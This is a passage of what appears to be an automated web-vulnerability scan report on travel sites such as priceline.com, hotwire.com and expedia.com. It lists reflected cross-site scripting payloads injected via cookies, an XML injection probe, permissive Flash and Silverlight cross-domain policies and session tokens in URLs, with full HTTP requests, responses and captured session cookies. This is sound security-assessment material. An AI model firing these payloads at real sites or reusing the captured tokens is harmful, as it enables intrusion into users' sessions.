           objForm.action = 'http://tickets.priceline.com/travel/airlines/lang/en-us/itinerary.asp?jsk=711510ac701410ac201111102204240df021602216&plf=PCLN&refid=PLFARECAST&refclickid=FDC_AIRSEARCHdc858';alert(1)//afd933d6e31&session_key=6F1410AC701410AC20111110215331132a91296209';
           objForm.submit();            
       }
   }else{
       objForm.action = 'http://tickets.priceline.com/travel/airlines/lang/en-us/itinerary.asp?jsk=711510ac7
...[SNIP]...

2.14. http://travelb.priceline.com/airlines/fareResults.do [Referral cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travelb.priceline.com
Path:   /airlines/fareResults.do

Issue detail

The value of the Referral cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a2ea"><script>alert(1)</script>1a602067dff was submitted in the Referral cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /airlines/fareResults.do?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&jarmkey=5663010A5863010AzCfC77qHUk6Rk%3Dy7V8CHJC2399&INIT_SESSION=true HTTP/1.1
Host: travelb.priceline.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://tickets.priceline.com/travel/airlines/lang/en-us/search.asp?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&path=bak
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCH4a2ea"><script>alert(1)</script>1a602067dff; vsch=v20111110215328921bd022%5F86719894; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674; PSessKey=6F1410AC701410AC20111110215334492c91305482; CJK=5663010a5764010a20111110215348ce5010773649; __utma=137358961.2047494711.1320962016.1320962016.1320962016.1; __utmb=137358961.2.10.1320962016; __utmc=137358961; __utmz=137358961.1320962016.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; WT_FPC=id=290adf770e0880aab941320965614204:lv=1320965683991:ss=1320965614204

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 22:04:11 GMT
Server: Apache
Set-Cookie: PSessKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=721510ac5064010a201111102204110c5021606872; Domain=.priceline.com; Path=/
Vary: Accept-Encoding
Content-Length: 356022
Content-Type: text/html;;charset=iso-8859-1


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd
...[SNIP]...
<a href="http://tickets.priceline.com/default.asp?jsk=721510ac5064010a201111102204110c5021606872&plf=PCLN&refid=PLFARECAST&refclickid=FDC_AIRSEARCH4a2ea"><script>alert(1)</script>1a602067dff">
...[SNIP]...

2.15. http://travelb.priceline.com/airlines/fareResults.do [Referral cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travelb.priceline.com
Path:   /airlines/fareResults.do

Issue detail

The value of the Referral cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a91ad"%3balert(1)//e241ac75fb was submitted in the Referral cookie. This input was echoed as a91ad";alert(1)//e241ac75fb in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /airlines/fareResults.do?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&jarmkey=5663010A5863010AzCfC77qHUk6Rk%3Dy7V8CHJC2399&INIT_SESSION=true HTTP/1.1
Host: travelb.priceline.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://tickets.priceline.com/travel/airlines/lang/en-us/search.asp?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&path=bak
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCHa91ad"%3balert(1)//e241ac75fb; vsch=v20111110215328921bd022%5F86719894; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674; PSessKey=6F1410AC701410AC20111110215334492c91305482; CJK=5663010a5764010a20111110215348ce5010773649; __utma=137358961.2047494711.1320962016.1320962016.1320962016.1; __utmb=137358961.2.10.1320962016; __utmc=137358961; __utmz=137358961.1320962016.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; WT_FPC=id=290adf770e0880aab941320965614204:lv=1320965683991:ss=1320965614204

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 22:04:17 GMT
Server: Apache
Set-Cookie: PSessKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=4663010a6f1410ac201111102204172d9021616265; Domain=.priceline.com; Path=/
Vary: Accept-Encoding
Content-Length: 355210
Content-Type: text/html;;charset=iso-8859-1


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd
...[SNIP]...
ction termsAndConditions(){
var tcURL = "http://tickets.priceline.com/privacypolicy/terms_en.html?jsk=4663010a6f1410ac201111102204172d9021616265&plf=PCLN&refid=PLFARECAST&refclickid=FDC_AIRSEARCHa91ad";alert(1)//e241ac75fb";
window.open(tcURL,'TC','toolbar=no,location=no,directories=no,status=yes,menubar=no,scrollbars=yes,resizable=yes,width=625,height=550');
}
</script>
...[SNIP]...

3. Flash cross-domain policy  previous  next
There are 6 instances of this issue:

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.


3.1. http://om.expedia.com/crossdomain.xml  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://om.expedia.com
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Request

GET /crossdomain.xml HTTP/1.0
Host: om.expedia.com

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:59:13 GMT
Server: Omniture DC/2.0.0
xserver: www20
Connection: close
Content-Type: text/html

<cross-domain-policy>
<allow-access-from domain="*" />
<allow-http-request-headers-from domain="*" headers="*" />
</cross-domain-policy>

3.2. http://om.hotwire.com/crossdomain.xml  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://om.hotwire.com
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Request

GET /crossdomain.xml HTTP/1.0
Host: om.hotwire.com

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:59:32 GMT
Server: Omniture DC/2.0.0
xserver: www87
Connection: close
Content-Type: text/html

<cross-domain-policy>
<allow-access-from domain="*" />
<allow-http-request-headers-from domain="*" headers="*" />
</cross-domain-policy>

3.3. http://taxifarecalculator.cloudapp.net/crossdomain.xml  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://taxifarecalculator.cloudapp.net
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Request

GET /crossdomain.xml HTTP/1.0
Host: taxifarecalculator.cloudapp.net

Response

HTTP/1.1 200 OK
Content-Type: text/xml
Last-Modified: Sat, 28 May 2011 22:15:34 GMT
Accept-Ranges: bytes
ETag: "d870c3c3841dcc1:0"
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Thu, 10 Nov 2011 21:40:46 GMT
Connection: close
Content-Length: 125

...<?xml version="1.0" encoding="utf-8" ?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

3.4. http://tickets.priceline.com/crossdomain.xml  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://tickets.priceline.com
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: tickets.priceline.com

Response

HTTP/1.1 200 OK
Content-Length: 394
Content-Type: text/xml
Last-Modified: Wed, 20 Jul 2011 14:36:13 GMT
Accept-Ranges: bytes
ETag: "80ecc55fea46cc1:1889"
Server: Microsoft-IIS/6.0
Date: Thu, 10 Nov 2011 21:53:31 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only
...[SNIP]...
<allow-access-from domain="f.imwx.com"/>
<allow-access-from domain="*.intersectdigital.com"/>
<allow-access-from domain="*.c206198.r98.cf1.rackcdn.com" />
...[SNIP]...

3.5. http://travel.travelocity.com/crossdomain.xml  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://travel.travelocity.com
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, allows access from specific other domains, and allows access from specific subdomains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: travel.travelocity.com

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:53:32 GMT
Server: Apache
Last-Modified: Mon, 11 Apr 2011 10:25:28 GMT
ETag: "192b3a-6a3-fe91f600"
Accept-Ranges: bytes
Content-Length: 1699
Vary: Accept-Encoding
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
    SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <allow-access-from domain="*.travelocity.com" secure="false" />
...[SNIP]...
<allow-access-from domain="www.travelocity.com"    secure="false" />
...[SNIP]...
<allow-access-from domain="i.travelocity.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.travelpn.com" secure="false" />
...[SNIP]...
<allow-access-from domain="i.travelpn.com.edgesuite.net" secure="false" />
...[SNIP]...
<allow-access-from domain="i.travelocity.com.edgesuite.net" secure="false" />
...[SNIP]...
<allow-access-from domain="travelocityf.download.akamai.com.edgesuite.net" secure="false" />
...[SNIP]...
<allow-access-from domain="ag.travelocity.com.edgesuite.net" secure="false" />
...[SNIP]...
<allow-access-from domain="hg.travelocity.com.edgesuite.net" secure="false" />
...[SNIP]...
<allow-access-from domain="design.int.travelocity.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.2mdn.net" secure="false" />
...[SNIP]...
<allow-access-from domain="*.doubleclick.net" secure="false" />
...[SNIP]...
<allow-access-from domain="ad.*.doubleclick.net" secure="false" />
...[SNIP]...
<allow-access-from domain="*.aolcdn.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.dotomi.com" secure="false" />
...[SNIP]...
<allow-access-from domain="*.sabre.com" secure="false" />
...[SNIP]...
<allow-access-from domain="ach.travel.yahoo.net" secure="false" />
...[SNIP]...
<allow-access-from domain="travelrewardspn.capitalone.com" secure="true" />
...[SNIP]...
<allow-access-from domain="*.travelocity.com" secure="true" />
...[SNIP]...
<allow-access-from domain="a248.e.akamai.net" secure="true" />
...[SNIP]...
<allow-access-from domain="fr.travelocity.ca" secure="false" />
...[SNIP]...

3.6. http://travelb.priceline.com/crossdomain.xml  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://travelb.priceline.com
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: travelb.priceline.com

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 22:02:11 GMT
Server: Apache
Last-Modified: Thu, 14 Jul 2011 14:49:11 GMT
ETag: "750174-18a-4a808a2c707c0"
Accept-Ranges: bytes
Content-Length: 394
Vary: Accept-Encoding
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only
...[SNIP]...
<allow-access-from domain="f.imwx.com"/>
<allow-access-from domain="*.intersectdigital.com"/>
<allow-access-from domain="*.c206198.r98.cf1.rackcdn.com" />
...[SNIP]...

4. Silverlight cross-domain policy  previous  next
There are 3 instances of this issue:

Issue background

The Silverlight cross-domain policy controls whether Silverlight client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Silverlight cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.


4.1. http://om.expedia.com/clientaccesspolicy.xml  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://om.expedia.com
Path:   /clientaccesspolicy.xml

Issue detail

The application publishes a Silverlight cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: om.expedia.com

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:59:14 GMT
Server: Omniture DC/2.0.0
xserver: www6
Connection: close
Content-Type: text/html

<access-policy>
   <cross-domain-access>
       <policy>
           <allow-from http-request-headers="*">
               <domain uri="*" />
           </allow-from>
           <grant-to>
               <resource path="/" include-subpaths="true" />
           </
...[SNIP]...

4.2. http://om.hotwire.com/clientaccesspolicy.xml  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://om.hotwire.com
Path:   /clientaccesspolicy.xml

Issue detail

The application publishes a Silverlight cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: om.hotwire.com

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:59:31 GMT
Server: Omniture DC/2.0.0
xserver: www47
Connection: close
Content-Type: text/html

<access-policy>
   <cross-domain-access>
       <policy>
           <allow-from http-request-headers="*">
               <domain uri="*" />
           </allow-from>
           <grant-to>
               <resource path="/" include-subpaths="true" />
           </
...[SNIP]...

4.3. http://taxifarecalculator.cloudapp.net/clientaccesspolicy.xml  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://taxifarecalculator.cloudapp.net
Path:   /clientaccesspolicy.xml

Issue detail

The application publishes a Silverlight cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Request

GET /clientaccesspolicy.xml HTTP/1.1
Host: taxifarecalculator.cloudapp.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Content-Type: text/xml
Last-Modified: Sat, 28 May 2011 22:15:34 GMT
Accept-Ranges: bytes
ETag: "d870c3c3841dcc1:0"
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Thu, 10 Nov 2011 21:40:45 GMT
Content-Length: 342

...<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from http-request-headers="*">
<domain uri="*"/>
</allow-from>
<g
...[SNIP]...

5. XML injection  previous  next

Summary

Severity:   Medium
Confidence:   Tentative
Host:   http://www.hotwire.com
Path:   /air/results.jsp

Issue detail

The NSC_qspe-xxx-qfstjtu cookie appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the NSC_qspe-xxx-qfstjtu cookie. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Issue background

XML or SOAP injection vulnerabilities arise when user input is inserted into a server-side XML document or SOAP message in an unsafe way. It may be possible to use XML metacharacters to modify the structure of the resulting XML. Depending on the function in which the XML is used, it may be possible to interfere with the application's logic, to perform unauthorised actions or access sensitive data.

This kind of vulnerability can be difficult to detect and exploit remotely; you should review the application's response, and the purpose which the relevant input performs within the application's functionality, to determine whether it is indeed vulnerable.

Issue remediation

The application should validate or sanitise user input before incorporating it into an XML document or SOAP message. It may be possible to block any input containing XML metacharacters such as < and >. Alternatively, these characters can be replaced with the corresponding entities: &lt; and &gt;.

Request

GET /air/results.jsp?actionType=999&isAjaxRequest=true&pageDef=tiles-def.air.results&rerender=A1&rerender=A2&rerender=A3&rerender=A4&rerender=A5&rerender=A8&rerender=B2&rerender=B3&rerender=B4&rerender=headline&rerender=toppageErrors&rerender=results&rerender=disclaimer&rerender=dhtml&rerender=backToOriginalLinkTop&rerender=backToOriginalLinkBottom HTTP/1.1
Host: www.hotwire.com
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://www.hotwire.com/air/results.jsp?searchTokenId=1&backButtonInputId=air-index
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=8ABAB9B20359272EF267EE99BC92C535; SaneID=8ABAB9B20359272EF267EE99BC92C53; hotwireLogin=V4XFi9mFuQsCCPy6V/qhrdIccYJFHrJxloNL+OGc4tZkfjnIHGhTi7ltrG1IPXfIeO+uyJQdNdBMLRhhG2FHTMgXg79d4ve0wj4co6fHPBw/6XrC+I2V0VAJjgDrxtP6UCZQAzRZKNmqg6s3BNNiMzoqSlE+9QLVq8LlP5r5sVC9LqYt6r1WejbBqGtX4/QeMydTsx5XDmME0qOPB8zW5aGoplccEyUVyAQw1zoB77fdKkw2wifeN3QXc3uxCTtpmp1Xbz0DxcS4cKS1iGZ7tDS9ulFNeBvx/qJTKhJwy7rJEih5XSyT1Fco8d5rZFOYJfrLMMzpj5kMJEILR9qBNRDl+42pRMtKzavwDRm7Zn4S+YVpyXk9PjDFsc8boH4pNL/i/1SO3SnXZq06Bmb1cMu94wvBIzddV6cWSVnTSkb6zEWjyhKcj/R/L14UAfRNxKLA1dwarM4dx9zfvTJdnTQ5OD8cXu1QsRQx6bhBdHgkaVvI7Yv0CzgZubBDGYZ2py/gVN6nUboAKdWWhnH1+SCb4zGbUyOIkF4m3Q5L+mHwtRpnviW5iB6TzG4qM3vCGJzuO/q61vTeJmSjVVzx75u8crr6cftWqHj6w1ad2e3Pf5CFEtJtPeidw2FziNaUnrZUO8Dg4khW7hU9cY7J7fKZ4GRKCUFiaqRBwocDhg2nL+BU3qdRuu3nLjE0iKGkecN3QDSwuy2hpe08Csu2fupUbvdFv0Cs+iPYTYOKXR36I9hNg4pdHfoj2E2Dil0d+iPYTYOKXR36I9hNg4pdHZkXMwFjN5//GfFEXccZLnRe4HTJo0i26foj2E2Dil0d+iPYTYOKXR0A/je7yzDiYxzOTLmW6hAr+iPYTYOKXR1PInMvNwnP4qWAQ5Fqf/sURmHo2YOoPtSM+3JgIIVvgfoj2E2Dil0dfPSXg9UVFkdonRAnD1CzZSScdfGLoqChRdyjkfXmqOcml0c5X6k8GJajsUKRNqS+Ouz/Wdyu4BqKlqjo3JeIwqrZeEv6z+6NkVbI7P1I/pc=; NSC_qspe-xxx-qfstjtu=ffffffffaf131c0b45525d5f4f58455e445a4a422d6d]]>>; hotwirePageModuleState=pgoodCode=A&searchTokenId=1; hwAnalytics_previousPageName=air.results; hwAnalytics_crossPageVariables=%7B%22eVar34%22%3A%22AUL01-02%2CDPTTD-02%2CANB01-02%2CFLU01-02%2CFQFLY-01%2CALTA1-01%2CPKXS1-03%2CLCP01-01%2CASM01-01%2CFLTCR-01%2CAKY01-01%2CAFL01-01%2CANF01-02%2CASD01-01%2CSPA01-03%2CARPAD-01%22%7D

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Cache-control: no-store, no-cache, private, must-revalidate
Content-Type: text/xml;charset=utf-8
Cteonnt-Length: 50
Date: Thu, 10 Nov 2011 22:01:11 GMT
Content-Length: 50

<?xml version="1.0" encoding="UTF-8"?>



6. Session token in URL  previous  next
There are 14 instances of this issue:

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.


6.1. http://tickets.priceline.com/qp.asp  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://tickets.priceline.com
Path:   /qp.asp

Issue detail

The URL in the request appears to contain a session token within the query string:

Request

GET /qp.asp?rdr=1&ProductId=1&DepCity=BOS&ArrCity=MIA&DepartureDate=12%2F2%2F2011&ReturnDate=12%2F4%2F2011&NumTickets=1&CabinClass=ECO&refid=PLFARECAST&refclickid=FDC_AIRSEARCH&session_key=6F1410AC701410AC20111110215328921bd0227606 HTTP/1.1
Host: tickets.priceline.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.bing.com/travel/flights?FORM=TRABFL
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCH; vsch=v20111110215328921bd022%5F86719894; PSessKey=6F1410AC701410AC20111110215328921bd0227606; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:53:30 GMT
Server: Microsoft-IIS/6.0
Content-Length: 8918
Content-Type: text/html
Set-Cookie: PSessKey=6F1410AC701410AC20111110215330932c41305378; domain=.priceline.com; path=/
Cache-control: private


<html>
<head>
<meta HTTP-EQUIV="Cache-Control" CONTENT="no cache">
<meta HTTP-EQUIV="Pragma" CONTENT="no cache">
<meta HTTP-EQUIV="Expires" CONTENT="0">
<meta HTTP-EQUIV="content-type"
...[SNIP]...

6.2. http://tickets.priceline.com/travel/airlines/lang/en-us/itinerary.asp  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://tickets.priceline.com
Path:   /travel/airlines/lang/en-us/itinerary.asp

Issue detail

The URL in the request appears to contain a session token within the query string:

Request

POST /travel/airlines/lang/en-us/itinerary.asp?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&RefID=PLFARECAST&RefClickID=FDC_AIRSEARCH HTTP/1.1
Host: tickets.priceline.com
Proxy-Connection: keep-alive
Content-Length: 1047
Cache-Control: max-age=0
Origin: http://tickets.priceline.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://tickets.priceline.com/qp.asp?rdr=1&ProductId=1&DepCity=BOS&ArrCity=MIA&DepartureDate=12%2F2%2F2011&ReturnDate=12%2F4%2F2011&NumTickets=1&CabinClass=ECO&refid=PLFARECAST&refclickid=FDC_AIRSEARCH&session_key=6F1410AC701410AC20111110215328921bd0227606
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCH; vsch=v20111110215328921bd022%5F86719894; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674; PSessKey=6F1410AC701410AC20111110215334492c91305482; WT_FPC=id=290adf770e0880aab941320965614204:lv=1320965614204:ss=1320965614204; __utma=137358961.2047494711.1320962016.1320962016.1320962016.1; __utmb=137358961.1.10.1320962016; __utmc=137358961; __utmz=137358961.1320962016.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights

OFFER%2FAIRLINE_TICKET%2FITINERARY_TYPE_CODE=&OFFER%2FAIRLINE_TICKET%2FLOCATION%5B0%5D%2F%40CITY%2FNAME=BOS&OFFER%2FAIRLINE_TICKET%2FLOCATION%5B1%5D%2F%40CITY%2FNAME=MIA&navigation%2Fselslicekeys=&nav
...[SNIP]...

Response

HTTP/1.1 302 Object moved
Date: Thu, 10 Nov 2011 21:55:06 GMT
Server: Microsoft-IIS/6.0
Location: search.asp?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&path=bak
Content-Length: 212
Content-Type: text/html
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="search.asp?session_key=6F1410AC701410AC20111110215331132a91296209&amp;plf=pcln&amp;path=bak">here<
...[SNIP]...

6.3. http://tickets.priceline.com/travel/airlines/lang/en-us/itinerary.asp  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://tickets.priceline.com
Path:   /travel/airlines/lang/en-us/itinerary.asp

Issue detail

The response contains the following links that appear to contain session tokens:

Request

POST /travel/airlines/lang/en-us/itinerary.asp?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&RefID=PLFARECAST&RefClickID=FDC_AIRSEARCH HTTP/1.1
Host: tickets.priceline.com
Proxy-Connection: keep-alive
Content-Length: 1047
Cache-Control: max-age=0
Origin: http://tickets.priceline.com
